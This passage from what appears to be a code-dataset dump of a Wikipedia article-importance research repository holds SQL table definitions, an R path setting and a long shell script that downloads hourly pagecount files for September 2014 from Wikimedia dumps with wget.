IF NOT EXISTS staging.importance_classification (\n page_id INT UNSIGNED,\n page_namespace INT,\n page_title VARBINARY(255),\n category VARBINARY(255),\n cl_type ENUM('page','subcat','file'),\n last_update VARBINARY(14),\n importance ENUM('Top', 'High', 'Mid', 'Low', 'Unknown'),\n PRIMARY KEY(page_id, category),\n KEY(last_update, importance)\n);\nSELECT NOW(), COUNT(*) FROM staging.importance_classification;\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.625, "avg_line_length": 24, "blob_id": "0e90dd05fb781a11339d773d3a5318b0eb6d92f5", "content_id": "e883de41b8e85a06abe0659a8e04fd66645a33aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 24, "license_type": "permissive", "max_line_length": 24, "num_lines": 1, "path": "/R/env.R", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "DATA_DIR = \"../datasets\"" }, { "alpha_fraction": 0.6169354915618896, "alphanum_fraction": 0.6290322542190552, "avg_line_length": 30, "blob_id": "477bd33f1b0521054d84aa078ccec635ffc7ad0e", "content_id": "12c4bc194ab805c1d0954a1b4d0562157408f865", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 248, "license_type": "permissive", "max_line_length": 49, "num_lines": 8, "path": "/sql/tables/organic_link.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.organic_link (\n from_id INT UNSIGNED,\n to_namespace INT,\n to_title VARBINARY(255),\n KEY(from_id),\n KEY(to_namespace, to_title)\n);\nSELECT NOW(), COUNT(*) FROM staging.organic_link;\n" }, { "alpha_fraction": 0.481101393699646, "alphanum_fraction": 0.7500532865524292, "avg_line_length": 51.033287048339844, "blob_id": "5384572c632e10783d5ee4f91b353ee7dc69053d", "content_id": "a8643d8525a2fc2b4f73d1a78a787a68fa08f4b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 37516, "license_type": "permissive", "max_line_length": 77, "num_lines": 721, "path": "/scripts/download_sept_2014_pageviews.sh", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "directory=\"https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/\" &&\nwget \"${directory}pagecounts-20140901-000000.gz\" &&\nwget \"${directory}pagecounts-20140901-010000.gz\" &&\nwget \"${directory}pagecounts-20140901-020000.gz\" &&\nwget \"${directory}pagecounts-20140901-030000.gz\" &&\nwget \"${directory}pagecounts-20140901-040000.gz\" &&\nwget \"${directory}pagecounts-20140901-050000.gz\" &&\nwget \"${directory}pagecounts-20140901-060000.gz\" &&\nwget \"${directory}pagecounts-20140901-070000.gz\" &&\nwget \"${directory}pagecounts-20140901-080000.gz\" &&\nwget \"${directory}pagecounts-20140901-090000.gz\" &&\nwget \"${directory}pagecounts-20140901-100000.gz\" &&\nwget \"${directory}pagecounts-20140901-110000.gz\" &&\nwget \"${directory}pagecounts-20140901-120000.gz\" &&\nwget \"${directory}pagecounts-20140901-130000.gz\" &&\nwget \"${directory}pagecounts-20140901-140000.gz\" &&\nwget \"${directory}pagecounts-20140901-150000.gz\" &&\nwget \"${directory}pagecounts-20140901-160000.gz\" &&\nwget \"${directory}pagecounts-20140901-170000.gz\" &&\nwget \"${directory}pagecounts-20140901-180000.gz\" &&\nwget \"${directory}pagecounts-20140901-190000.gz\" &&\nwget \"${directory}pagecounts-20140901-200000.gz\" &&\nwget \"${directory}pagecounts-20140901-210000.gz\" &&\nwget \"${directory}pagecounts-20140901-220000.gz\" &&\nwget \"${directory}pagecounts-20140901-230000.gz\" &&\nwget \"${directory}pagecounts-20140902-000000.gz\" &&\nwget \"${directory}pagecounts-20140902-010000.gz\" &&\nwget \"${directory}pagecounts-20140902-020000.gz\" &&\nwget \"${directory}pagecounts-20140902-030000.gz\" &&\nwget \"${directory}pagecounts-20140902-040000.gz\" &&\nwget \"${directory}pagecounts-20140902-050000.gz\" &&\nwget \"${directory}pagecounts-20140902-060000.gz\" &&\nwget \"${directory}pagecounts-20140902-070000.gz\" &&\nwget \"${directory}pagecounts-20140902-080000.gz\" &&\nwget \"${directory}pagecounts-20140902-090000.gz\" &&\nwget \"${directory}pagecounts-20140902-100000.gz\" &&\nwget \"${directory}pagecounts-20140902-110000.gz\" &&\nwget \"${directory}pagecounts-20140902-120000.gz\" &&\nwget \"${directory}pagecounts-20140902-130000.gz\" &&\nwget \"${directory}pagecounts-20140902-140000.gz\" &&\nwget \"${directory}pagecounts-20140902-150000.gz\" &&\nwget \"${directory}pagecounts-20140902-160000.gz\" &&\nwget \"${directory}pagecounts-20140902-170000.gz\" &&\nwget \"${directory}pagecounts-20140902-180000.gz\" &&\nwget \"${directory}pagecounts-20140902-190000.gz\" &&\nwget \"${directory}pagecounts-20140902-200000.gz\" &&\nwget \"${directory}pagecounts-20140902-210000.gz\" &&\nwget \"${directory}pagecounts-20140902-220000.gz\" &&\nwget \"${directory}pagecounts-20140902-230000.gz\" &&\nwget \"${directory}pagecounts-20140903-000000.gz\" &&\nwget \"${directory}pagecounts-20140903-010000.gz\" &&\nwget \"${directory}pagecounts-20140903-020000.gz\" &&\nwget \"${directory}pagecounts-20140903-030000.gz\" &&\nwget \"${directory}pagecounts-20140903-040000.gz\" &&\nwget \"${directory}pagecounts-20140903-050000.gz\" &&\nwget \"${directory}pagecounts-20140903-060000.gz\" &&\nwget \"${directory}pagecounts-20140903-070000.gz\" &&\nwget \"${directory}pagecounts-20140903-080000.gz\" &&\nwget \"${directory}pagecounts-20140903-090000.gz\" &&\nwget \"${directory}pagecounts-20140903-100000.gz\" &&\nwget \"${directory}pagecounts-20140903-110000.gz\" &&\nwget \"${directory}pagecounts-20140903-120000.gz\" &&\nwget \"${directory}pagecounts-20140903-130000.gz\" &&\nwget \"${directory}pagecounts-20140903-140000.gz\" &&\nwget \"${directory}pagecounts-20140903-150000.gz\" &&\nwget \"${directory}pagecounts-20140903-160000.gz\" &&\nwget \"${directory}pagecounts-20140903-170000.gz\" &&\nwget \"${directory}pagecounts-20140903-180000.gz\" &&\nwget \"${directory}pagecounts-20140903-190000.gz\" &&\nwget \"${directory}pagecounts-20140903-200000.gz\" &&\nwget \"${directory}pagecounts-20140903-210000.gz\" &&\nwget \"${directory}pagecounts-20140903-220000.gz\" &&\nwget \"${directory}pagecounts-20140903-230000.gz\" &&\nwget \"${directory}pagecounts-20140904-000000.gz\" &&\nwget \"${directory}pagecounts-20140904-010000.gz\" &&\nwget \"${directory}pagecounts-20140904-020000.gz\" &&\nwget \"${directory}pagecounts-20140904-030000.gz\" &&\nwget \"${directory}pagecounts-20140904-040000.gz\" &&\nwget \"${directory}pagecounts-20140904-050000.gz\" &&\nwget \"${directory}pagecounts-20140904-060000.gz\" &&\nwget \"${directory}pagecounts-20140904-070000.gz\" &&\nwget \"${directory}pagecounts-20140904-080000.gz\" &&\nwget \"${directory}pagecounts-20140904-090000.gz\" &&\nwget \"${directory}pagecounts-20140904-100000.gz\" &&\nwget \"${directory}pagecounts-20140904-110000.gz\" &&\nwget \"${directory}pagecounts-20140904-120000.gz\" &&\nwget \"${directory}pagecounts-20140904-130000.gz\" &&\nwget \"${directory}pagecounts-20140904-140000.gz\" &&\nwget \"${directory}pagecounts-20140904-150000.gz\" &&\nwget \"${directory}pagecounts-20140904-160000.gz\" &&\nwget \"${directory}pagecounts-20140904-170000.gz\" &&\nwget \"${directory}pagecounts-20140904-180000.gz\" &&\nwget \"${directory}pagecounts-20140904-190000.gz\" &&\nwget \"${directory}pagecounts-20140904-200000.gz\" &&\nwget \"${directory}pagecounts-20140904-210000.gz\" &&\nwget \"${directory}pagecounts-20140904-220000.gz\" &&\nwget \"${directory}pagecounts-20140904-230000.gz\" &&\nwget \"${directory}pagecounts-20140905-000000.gz\" &&\nwget \"${directory}pagecounts-20140905-010000.gz\" &&\nwget \"${directory}pagecounts-20140905-020000.gz\" &&\nwget \"${directory}pagecounts-20140905-030000.gz\" &&\nwget \"${directory}pagecounts-20140905-040000.gz\" &&\nwget \"${directory}pagecounts-20140905-050000.gz\" &&\nwget \"${directory}pagecounts-20140905-060000.gz\" &&\nwget \"${directory}pagecounts-20140905-070000.gz\" &&\nwget \"${directory}pagecounts-20140905-080000.gz\" &&\nwget \"${directory}pagecounts-20140905-090000.gz\" &&\nwget \"${directory}pagecounts-20140905-100000.gz\" &&\nwget \"${directory}pagecounts-20140905-110000.gz\" &&\nwget \"${directory}pagecounts-20140905-120000.gz\" &&\nwget \"${directory}pagecounts-20140905-130000.gz\" &&\nwget \"${directory}pagecounts-20140905-140000.gz\" &&\nwget \"${directory}pagecounts-20140905-150000.gz\" &&\nwget \"${directory}pagecounts-20140905-160000.gz\" &&\nwget \"${directory}pagecounts-20140905-170000.gz\" &&\nwget \"${directory}pagecounts-20140905-180000.gz\" &&\nwget \"${directory}pagecounts-20140905-190000.gz\" &&\nwget \"${directory}pagecounts-20140905-200000.gz\" &&\nwget \"${directory}pagecounts-20140905-210000.gz\" &&\nwget \"${directory}pagecounts-20140905-220000.gz\" &&\nwget \"${directory}pagecounts-20140905-230000.gz\" &&\nwget \"${directory}pagecounts-20140906-000000.gz\" &&\nwget \"${directory}pagecounts-20140906-010000.gz\" &&\nwget \"${directory}pagecounts-20140906-020000.gz\" &&\nwget \"${directory}pagecounts-20140906-030000.gz\" &&\nwget \"${directory}pagecounts-20140906-040000.gz\" &&\nwget \"${directory}pagecounts-20140906-050000.gz\" &&\nwget \"${directory}pagecounts-20140906-060000.gz\" &&\nwget \"${directory}pagecounts-20140906-070000.gz\" &&\nwget \"${directory}pagecounts-20140906-080000.gz\" &&\nwget \"${directory}pagecounts-20140906-090000.gz\" &&\nwget \"${directory}pagecounts-20140906-100000.gz\" &&\nwget \"${directory}pagecounts-20140906-110000.gz\" &&\nwget \"${directory}pagecounts-20140906-120000.gz\" &&\nwget \"${directory}pagecounts-20140906-130000.gz\" &&\nwget \"${directory}pagecounts-20140906-140000.gz\" &&\nwget \"${directory}pagecounts-20140906-150000.gz\" &&\nwget \"${directory}pagecounts-20140906-160000.gz\" &&\nwget \"${directory}pagecounts-20140906-170000.gz\" &&\nwget \"${directory}pagecounts-20140906-180000.gz\" &&\nwget \"${directory}pagecounts-20140906-190000.gz\" &&\nwget \"${directory}pagecounts-20140906-200000.gz\" &&\nwget \"${directory}pagecounts-20140906-210000.gz\" &&\nwget \"${directory}pagecounts-20140906-220000.gz\" &&\nwget \"${directory}pagecounts-20140906-230000.gz\" &&\nwget \"${directory}pagecounts-20140907-000000.gz\" &&\nwget \"${directory}pagecounts-20140907-010000.gz\" &&\nwget \"${directory}pagecounts-20140907-020000.gz\" &&\nwget \"${directory}pagecounts-20140907-030000.gz\" &&\nwget \"${directory}pagecounts-20140907-040000.gz\" &&\nwget \"${directory}pagecounts-20140907-050000.gz\" &&\nwget \"${directory}pagecounts-20140907-060000.gz\" &&\nwget \"${directory}pagecounts-20140907-070000.gz\" &&\nwget \"${directory}pagecounts-20140907-080000.gz\" &&\nwget \"${directory}pagecounts-20140907-090000.gz\" &&\nwget \"${directory}pagecounts-20140907-100000.gz\" &&\nwget \"${directory}pagecounts-20140907-110000.gz\" &&\nwget \"${directory}pagecounts-20140907-120000.gz\" &&\nwget \"${directory}pagecounts-20140907-130000.gz\" &&\nwget \"${directory}pagecounts-20140907-140000.gz\" &&\nwget \"${directory}pagecounts-20140907-150000.gz\" &&\nwget \"${directory}pagecounts-20140907-160000.gz\" &&\nwget \"${directory}pagecounts-20140907-170000.gz\" &&\nwget \"${directory}pagecounts-20140907-180000.gz\" &&\nwget \"${directory}pagecounts-20140907-190000.gz\" &&\nwget \"${directory}pagecounts-20140907-200000.gz\" &&\nwget \"${directory}pagecounts-20140907-210000.gz\" &&\nwget \"${directory}pagecounts-20140907-220000.gz\" &&\nwget \"${directory}pagecounts-20140907-230000.gz\" &&\nwget \"${directory}pagecounts-20140908-000000.gz\" &&\nwget \"${directory}pagecounts-20140908-010001.gz\" &&\nwget \"${directory}pagecounts-20140908-020000.gz\" &&\nwget \"${directory}pagecounts-20140908-030000.gz\" &&\nwget \"${directory}pagecounts-20140908-040000.gz\" &&\nwget \"${directory}pagecounts-20140908-050000.gz\" &&\nwget \"${directory}pagecounts-20140908-060000.gz\" &&\nwget \"${directory}pagecounts-20140908-070000.gz\" &&\nwget \"${directory}pagecounts-20140908-080000.gz\" &&\nwget \"${directory}pagecounts-20140908-090000.gz\" &&\nwget \"${directory}pagecounts-20140908-100000.gz\" &&\nwget \"${directory}pagecounts-20140908-110000.gz\" &&\nwget \"${directory}pagecounts-20140908-120000.gz\" &&\nwget \"${directory}pagecounts-20140908-130000.gz\" &&\nwget \"${directory}pagecounts-20140908-140000.gz\" &&\nwget \"${directory}pagecounts-20140908-150000.gz\" &&\nwget \"${directory}pagecounts-20140908-160000.gz\" &&\nwget \"${directory}pagecounts-20140908-170000.gz\" &&\nwget \"${directory}pagecounts-20140908-180000.gz\" &&\nwget \"${directory}pagecounts-20140908-190000.gz\" &&\nwget \"${directory}pagecounts-20140908-200000.gz\" &&\nwget \"${directory}pagecounts-20140908-210000.gz\" &&\nwget \"${directory}pagecounts-20140908-220000.gz\" &&\nwget \"${directory}pagecounts-20140908-230000.gz\" &&\nwget \"${directory}pagecounts-20140909-000000.gz\" &&\nwget \"${directory}pagecounts-20140909-010000.gz\" &&\nwget \"${directory}pagecounts-20140909-020000.gz\" &&\nwget \"${directory}pagecounts-20140909-030000.gz\" &&\nwget \"${directory}pagecounts-20140909-040000.gz\" &&\nwget \"${directory}pagecounts-20140909-050000.gz\" &&\nwget \"${directory}pagecounts-20140909-060000.gz\" &&\nwget \"${directory}pagecounts-20140909-070000.gz\" &&\nwget \"${directory}pagecounts-20140909-080000.gz\" &&\nwget \"${directory}pagecounts-20140909-090000.gz\" &&\nwget \"${directory}pagecounts-20140909-100000.gz\" &&\nwget \"${directory}pagecounts-20140909-110000.gz\" &&\nwget \"${directory}pagecounts-20140909-120000.gz\" &&\nwget \"${directory}pagecounts-20140909-130000.gz\" &&\nwget \"${directory}pagecounts-20140909-140000.gz\" &&\nwget \"${directory}pagecounts-20140909-150000.gz\" &&\nwget \"${directory}pagecounts-20140909-160000.gz\" &&\nwget \"${directory}pagecounts-20140909-170000.gz\" &&\nwget \"${directory}pagecounts-20140909-180000.gz\" &&\nwget \"${directory}pagecounts-20140909-190000.gz\" &&\nwget \"${directory}pagecounts-20140909-200000.gz\" &&\nwget \"${directory}pagecounts-20140909-210000.gz\" &&\nwget \"${directory}pagecounts-20140909-220000.gz\" &&\nwget \"${directory}pagecounts-20140909-230000.gz\" &&\nwget \"${directory}pagecounts-20140910-000000.gz\" &&\nwget \"${directory}pagecounts-20140910-010000.gz\" &&\nwget \"${directory}pagecounts-20140910-020000.gz\" &&\nwget \"${directory}pagecounts-20140910-030000.gz\" &&\nwget \"${directory}pagecounts-20140910-040000.gz\" &&\nwget \"${directory}pagecounts-20140910-050000.gz\" &&\nwget \"${directory}pagecounts-20140910-060000.gz\" &&\nwget \"${directory}pagecounts-20140910-070000.gz\" &&\nwget \"${directory}pagecounts-20140910-080000.gz\" &&\nwget \"${directory}pagecounts-20140910-090000.gz\" &&\nwget \"${directory}pagecounts-20140910-100000.gz\" &&\nwget \"${directory}pagecounts-20140910-110000.gz\" &&\nwget \"${directory}pagecounts-20140910-120000.gz\" &&\nwget \"${directory}pagecounts-20140910-130000.gz\" &&\nwget \"${directory}pagecounts-20140910-140000.gz\" &&\nwget \"${directory}pagecounts-20140910-150000.gz\" &&\nwget \"${directory}pagecounts-20140910-160000.gz\" &&\nwget \"${directory}pagecounts-20140910-170000.gz\" &&\nwget \"${directory}pagecounts-20140910-180000.gz\" &&\nwget \"${directory}pagecounts-20140910-190000.gz\" &&\nwget \"${directory}pagecounts-20140910-200000.gz\" &&\nwget \"${directory}pagecounts-20140910-210000.gz\" &&\nwget \"${directory}pagecounts-20140910-220000.gz\" &&\nwget \"${directory}pagecounts-20140910-230000.gz\" &&\nwget \"${directory}pagecounts-20140911-000000.gz\" &&\nwget \"${directory}pagecounts-20140911-010000.gz\" &&\nwget \"${directory}pagecounts-20140911-020000.gz\" &&\nwget \"${directory}pagecounts-20140911-030000.gz\" &&\nwget \"${directory}pagecounts-20140911-040000.gz\" &&\nwget \"${directory}pagecounts-20140911-050000.gz\" &&\nwget \"${directory}pagecounts-20140911-060000.gz\" &&\nwget \"${directory}pagecounts-20140911-070000.gz\" &&\nwget \"${directory}pagecounts-20140911-080000.gz\" &&\nwget \"${directory}pagecounts-20140911-090000.gz\" &&\nwget \"${directory}pagecounts-20140911-100000.gz\" &&\nwget \"${directory}pagecounts-20140911-110000.gz\" &&\nwget \"${directory}pagecounts-20140911-120000.gz\" &&\nwget \"${directory}pagecounts-20140911-130000.gz\" &&\nwget \"${directory}pagecounts-20140911-140000.gz\" &&\nwget \"${directory}pagecounts-20140911-150000.gz\" &&\nwget \"${directory}pagecounts-20140911-160000.gz\" &&\nwget \"${directory}pagecounts-20140911-170000.gz\" &&\nwget \"${directory}pagecounts-20140911-180000.gz\" &&\nwget \"${directory}pagecounts-20140911-190000.gz\" &&\nwget \"${directory}pagecounts-20140911-200000.gz\" &&\nwget \"${directory}pagecounts-20140911-210000.gz\" &&\nwget \"${directory}pagecounts-20140911-220000.gz\" &&\nwget \"${directory}pagecounts-20140911-230000.gz\" &&\nwget \"${directory}pagecounts-20140912-000000.gz\" &&\nwget \"${directory}pagecounts-20140912-010000.gz\" &&\nwget \"${directory}pagecounts-20140912-020000.gz\" &&\nwget \"${directory}pagecounts-20140912-030000.gz\" &&\nwget \"${directory}pagecounts-20140912-040000.gz\" &&\nwget \"${directory}pagecounts-20140912-050000.gz\" &&\nwget \"${directory}pagecounts-20140912-060000.gz\" &&\nwget \"${directory}pagecounts-20140912-070000.gz\" &&\nwget \"${directory}pagecounts-20140912-080000.gz\" &&\nwget \"${directory}pagecounts-20140912-090000.gz\" &&\nwget \"${directory}pagecounts-20140912-100000.gz\" &&\nwget \"${directory}pagecounts-20140912-110000.gz\" &&\nwget \"${directory}pagecounts-20140912-120000.gz\" &&\nwget \"${directory}pagecounts-20140912-130000.gz\" &&\nwget \"${directory}pagecounts-20140912-140000.gz\" &&\nwget \"${directory}pagecounts-20140912-150000.gz\" &&\nwget \"${directory}pagecounts-20140912-160000.gz\" &&\nwget \"${directory}pagecounts-20140912-170000.gz\" &&\nwget \"${directory}pagecounts-20140912-180000.gz\" &&\nwget \"${directory}pagecounts-20140912-190000.gz\" &&\nwget \"${directory}pagecounts-20140912-200000.gz\" &&\nwget \"${directory}pagecounts-20140912-210000.gz\" &&\nwget \"${directory}pagecounts-20140912-220000.gz\" &&\nwget \"${directory}pagecounts-20140912-230000.gz\" &&\nwget \"${directory}pagecounts-20140913-000000.gz\" &&\nwget \"${directory}pagecounts-20140913-010000.gz\" &&\nwget \"${directory}pagecounts-20140913-020000.gz\" &&\nwget \"${directory}pagecounts-20140913-030000.gz\" &&\nwget \"${directory}pagecounts-20140913-040000.gz\" &&\nwget \"${directory}pagecounts-20140913-050000.gz\" &&\nwget \"${directory}pagecounts-20140913-060000.gz\" &&\nwget \"${directory}pagecounts-20140913-070000.gz\" &&\nwget \"${directory}pagecounts-20140913-080000.gz\" &&\nwget \"${directory}pagecounts-20140913-090000.gz\" &&\nwget \"${directory}pagecounts-20140913-100000.gz\" &&\nwget \"${directory}pagecounts-20140913-110000.gz\" &&\nwget \"${directory}pagecounts-20140913-120000.gz\" &&\nwget \"${directory}pagecounts-20140913-130000.gz\" &&\nwget \"${directory}pagecounts-20140913-140000.gz\" &&\nwget \"${directory}pagecounts-20140913-150000.gz\" &&\nwget \"${directory}pagecounts-20140913-160000.gz\" &&\nwget \"${directory}pagecounts-20140913-170000.gz\" &&\nwget \"${directory}pagecounts-20140913-180000.gz\" &&\nwget \"${directory}pagecounts-20140913-190000.gz\" &&\nwget \"${directory}pagecounts-20140913-200000.gz\" &&\nwget \"${directory}pagecounts-20140913-210000.gz\" &&\nwget \"${directory}pagecounts-20140913-220000.gz\" &&\nwget \"${directory}pagecounts-20140913-230000.gz\" &&\nwget \"${directory}pagecounts-20140914-000000.gz\" &&\nwget \"${directory}pagecounts-20140914-010000.gz\" &&\nwget \"${directory}pagecounts-20140914-020000.gz\" &&\nwget \"${directory}pagecounts-20140914-030000.gz\" &&\nwget \"${directory}pagecounts-20140914-040000.gz\" &&\nwget \"${directory}pagecounts-20140914-050000.gz\" &&\nwget \"${directory}pagecounts-20140914-060000.gz\" &&\nwget \"${directory}pagecounts-20140914-070000.gz\" &&\nwget \"${directory}pagecounts-20140914-080000.gz\" &&\nwget \"${directory}pagecounts-20140914-090000.gz\" &&\nwget \"${directory}pagecounts-20140914-100000.gz\" &&\nwget \"${directory}pagecounts-20140914-110000.gz\" &&\nwget \"${directory}pagecounts-20140914-120000.gz\" &&\nwget \"${directory}pagecounts-20140914-130000.gz\" &&\nwget \"${directory}pagecounts-20140914-140000.gz\" &&\nwget \"${directory}pagecounts-20140914-150000.gz\" &&\nwget \"${directory}pagecounts-20140914-160000.gz\" &&\nwget \"${directory}pagecounts-20140914-170000.gz\" &&\nwget \"${directory}pagecounts-20140914-180000.gz\" &&\nwget \"${directory}pagecounts-20140914-190000.gz\" &&\nwget \"${directory}pagecounts-20140914-200000.gz\" &&\nwget \"${directory}pagecounts-20140914-210000.gz\" &&\nwget \"${directory}pagecounts-20140914-220000.gz\" &&\nwget \"${directory}pagecounts-20140914-230000.gz\" &&\nwget \"${directory}pagecounts-20140915-000000.gz\" &&\nwget \"${directory}pagecounts-20140915-010000.gz\" &&\nwget \"${directory}pagecounts-20140915-020000.gz\" &&\nwget \"${directory}pagecounts-20140915-030000.gz\" &&\nwget \"${directory}pagecounts-20140915-040000.gz\" &&\nwget \"${directory}pagecounts-20140915-050000.gz\" &&\nwget \"${directory}pagecounts-20140915-060000.gz\" &&\nwget \"${directory}pagecounts-20140915-070000.gz\" &&\nwget \"${directory}pagecounts-20140915-080000.gz\" &&\nwget \"${directory}pagecounts-20140915-090000.gz\" &&\nwget \"${directory}pagecounts-20140915-100000.gz\" &&\nwget \"${directory}pagecounts-20140915-110000.gz\" &&\nwget \"${directory}pagecounts-20140915-120000.gz\" &&\nwget \"${directory}pagecounts-20140915-130000.gz\" &&\nwget \"${directory}pagecounts-20140915-140000.gz\" &&\nwget \"${directory}pagecounts-20140915-150000.gz\" &&\nwget \"${directory}pagecounts-20140915-160000.gz\" &&\nwget \"${directory}pagecounts-20140915-170000.gz\" &&\nwget \"${directory}pagecounts-20140915-180000.gz\" &&\nwget \"${directory}pagecounts-20140915-190000.gz\" &&\nwget \"${directory}pagecounts-20140915-200000.gz\" &&\nwget \"${directory}pagecounts-20140915-210000.gz\" &&\nwget \"${directory}pagecounts-20140915-220000.gz\" &&\nwget \"${directory}pagecounts-20140915-230000.gz\" &&\nwget \"${directory}pagecounts-20140916-000000.gz\" &&\nwget \"${directory}pagecounts-20140916-010000.gz\" &&\nwget \"${directory}pagecounts-20140916-020000.gz\" &&\nwget \"${directory}pagecounts-20140916-030000.gz\" &&\nwget \"${directory}pagecounts-20140916-040000.gz\" &&\nwget \"${directory}pagecounts-20140916-050000.gz\" &&\nwget \"${directory}pagecounts-20140916-060000.gz\" &&\nwget \"${directory}pagecounts-20140916-070000.gz\" &&\nwget \"${directory}pagecounts-20140916-080000.gz\" &&\nwget \"${directory}pagecounts-20140916-090000.gz\" &&\nwget \"${directory}pagecounts-20140916-100000.gz\" &&\nwget \"${directory}pagecounts-20140916-110000.gz\" &&\nwget \"${directory}pagecounts-20140916-120000.gz\" &&\nwget \"${directory}pagecounts-20140916-130000.gz\" &&\nwget \"${directory}pagecounts-20140916-140000.gz\" &&\nwget \"${directory}pagecounts-20140916-150000.gz\" &&\nwget \"${directory}pagecounts-20140916-160000.gz\" &&\nwget \"${directory}pagecounts-20140916-170000.gz\" &&\nwget \"${directory}pagecounts-20140916-180000.gz\" &&\nwget \"${directory}pagecounts-20140916-190000.gz\" &&\nwget \"${directory}pagecounts-20140916-200000.gz\" &&\nwget \"${directory}pagecounts-20140916-210000.gz\" &&\nwget \"${directory}pagecounts-20140916-220000.gz\" &&\nwget \"${directory}pagecounts-20140916-230000.gz\" &&\nwget \"${directory}pagecounts-20140917-000000.gz\" &&\nwget \"${directory}pagecounts-20140917-010000.gz\" &&\nwget \"${directory}pagecounts-20140917-020000.gz\" &&\nwget \"${directory}pagecounts-20140917-030000.gz\" &&\nwget \"${directory}pagecounts-20140917-040000.gz\" &&\nwget \"${directory}pagecounts-20140917-050000.gz\" &&\nwget \"${directory}pagecounts-20140917-060000.gz\" &&\nwget \"${directory}pagecounts-20140917-070000.gz\" &&\nwget \"${directory}pagecounts-20140917-080000.gz\" &&\nwget \"${directory}pagecounts-20140917-090000.gz\" &&\nwget \"${directory}pagecounts-20140917-100000.gz\" &&\nwget \"${directory}pagecounts-20140917-110000.gz\" &&\nwget \"${directory}pagecounts-20140917-120000.gz\" &&\nwget \"${directory}pagecounts-20140917-130000.gz\" &&\nwget \"${directory}pagecounts-20140917-140000.gz\" &&\nwget \"${directory}pagecounts-20140917-150000.gz\" &&\nwget \"${directory}pagecounts-20140917-160000.gz\" &&\nwget \"${directory}pagecounts-20140917-170000.gz\" &&\nwget \"${directory}pagecounts-20140917-180000.gz\" &&\nwget \"${directory}pagecounts-20140917-190000.gz\" &&\nwget \"${directory}pagecounts-20140917-200000.gz\" &&\nwget \"${directory}pagecounts-20140917-210000.gz\" &&\nwget \"${directory}pagecounts-20140917-220000.gz\" &&\nwget \"${directory}pagecounts-20140917-230000.gz\" &&\nwget \"${directory}pagecounts-20140918-000000.gz\" &&\nwget \"${directory}pagecounts-20140918-010000.gz\" &&\nwget \"${directory}pagecounts-20140918-020000.gz\" &&\nwget \"${directory}pagecounts-20140918-030000.gz\" &&\nwget \"${directory}pagecounts-20140918-040000.gz\" &&\nwget \"${directory}pagecounts-20140918-050000.gz\" &&\nwget \"${directory}pagecounts-20140918-060000.gz\" &&\nwget \"${directory}pagecounts-20140918-070000.gz\" &&\nwget \"${directory}pagecounts-20140918-080000.gz\" &&\nwget \"${directory}pagecounts-20140918-090000.gz\" &&\nwget \"${directory}pagecounts-20140918-100000.gz\" &&\nwget \"${directory}pagecounts-20140918-110000.gz\" &&\nwget \"${directory}pagecounts-20140918-120000.gz\" &&\nwget \"${directory}pagecounts-20140918-130000.gz\" &&\nwget \"${directory}pagecounts-20140918-140000.gz\" &&\nwget \"${directory}pagecounts-20140918-150000.gz\" &&\nwget \"${directory}pagecounts-20140918-160000.gz\" &&\nwget \"${directory}pagecounts-20140918-170000.gz\" &&\nwget \"${directory}pagecounts-20140918-180000.gz\" &&\nwget \"${directory}pagecounts-20140918-190000.gz\" &&\nwget \"${directory}pagecounts-20140918-200000.gz\" &&\nwget \"${directory}pagecounts-20140918-210000.gz\" &&\nwget \"${directory}pagecounts-20140918-220000.gz\" &&\nwget \"${directory}pagecounts-20140918-230000.gz\" &&\nwget \"${directory}pagecounts-20140919-000000.gz\" &&\nwget \"${directory}pagecounts-20140919-010000.gz\" &&\nwget \"${directory}pagecounts-20140919-020000.gz\" &&\nwget \"${directory}pagecounts-20140919-030000.gz\" &&\nwget \"${directory}pagecounts-20140919-040000.gz\" &&\nwget \"${directory}pagecounts-20140919-050000.gz\" &&\nwget \"${directory}pagecounts-20140919-060000.gz\" &&\nwget \"${directory}pagecounts-20140919-070001.gz\" &&\nwget \"${directory}pagecounts-20140919-080000.gz\" &&\nwget \"${directory}pagecounts-20140919-090000.gz\" &&\nwget \"${directory}pagecounts-20140919-100000.gz\" &&\nwget \"${directory}pagecounts-20140919-110000.gz\" &&\nwget \"${directory}pagecounts-20140919-120000.gz\" &&\nwget \"${directory}pagecounts-20140919-130000.gz\" &&\nwget \"${directory}pagecounts-20140919-140000.gz\" &&\nwget \"${directory}pagecounts-20140919-150000.gz\" &&\nwget \"${directory}pagecounts-20140919-160000.gz\" &&\nwget \"${directory}pagecounts-20140919-170000.gz\" &&\nwget \"${directory}pagecounts-20140919-180000.gz\" &&\nwget \"${directory}pagecounts-20140919-190000.gz\" &&\nwget \"${directory}pagecounts-20140919-200000.gz\" &&\nwget \"${directory}pagecounts-20140919-210000.gz\" &&\nwget \"${directory}pagecounts-20140919-220000.gz\" &&\nwget \"${directory}pagecounts-20140919-230000.gz\" &&\nwget \"${directory}pagecounts-20140920-000000.gz\" &&\nwget \"${directory}pagecounts-20140920-010000.gz\" &&\nwget \"${directory}pagecounts-20140920-020000.gz\" &&\nwget \"${directory}pagecounts-20140920-030000.gz\" &&\nwget \"${directory}pagecounts-20140920-040000.gz\" &&\nwget \"${directory}pagecounts-20140920-050000.gz\" &&\nwget \"${directory}pagecounts-20140920-060000.gz\" &&\nwget \"${directory}pagecounts-20140920-070000.gz\" &&\nwget \"${directory}pagecounts-20140920-080000.gz\" &&\nwget \"${directory}pagecounts-20140920-090000.gz\" &&\nwget \"${directory}pagecounts-20140920-100000.gz\" &&\nwget \"${directory}pagecounts-20140920-110000.gz\" &&\nwget \"${directory}pagecounts-20140920-120000.gz\" &&\nwget \"${directory}pagecounts-20140920-130000.gz\" &&\nwget \"${directory}pagecounts-20140920-140000.gz\" &&\nwget \"${directory}pagecounts-20140920-150000.gz\" &&\nwget \"${directory}pagecounts-20140920-160000.gz\" &&\nwget \"${directory}pagecounts-20140920-170000.gz\" &&\nwget \"${directory}pagecounts-20140920-180000.gz\" &&\nwget \"${directory}pagecounts-20140920-190000.gz\" &&\nwget 